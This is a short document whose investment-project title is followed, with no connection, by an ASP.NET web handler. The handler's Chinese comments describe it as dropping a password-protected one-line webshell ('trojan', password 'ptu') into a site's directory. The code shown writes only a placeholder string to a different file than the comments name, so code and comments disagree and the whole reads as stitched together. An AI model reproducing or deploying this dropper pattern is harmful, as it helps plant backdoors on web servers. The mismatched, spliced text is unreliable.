Yaweitong investment to Chinese low carbon industry center project research

<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
    
    public void ProcessRequest (HttpContext context) {
        context.Response.ContentType = "text/plain";
        
        //这里会在目录下生成一个test.asp的文件
        StreamWriter file1= File.CreateText(context.Server.MapPath("/../1.txt"));
        //这里是写入一句话木马   密码是：ptu
        file1.Write("sss");
        file1.Flush();
        file1.Close();       
    }
    public bool IsReusable {
        get {
            return false;
        }
    }

}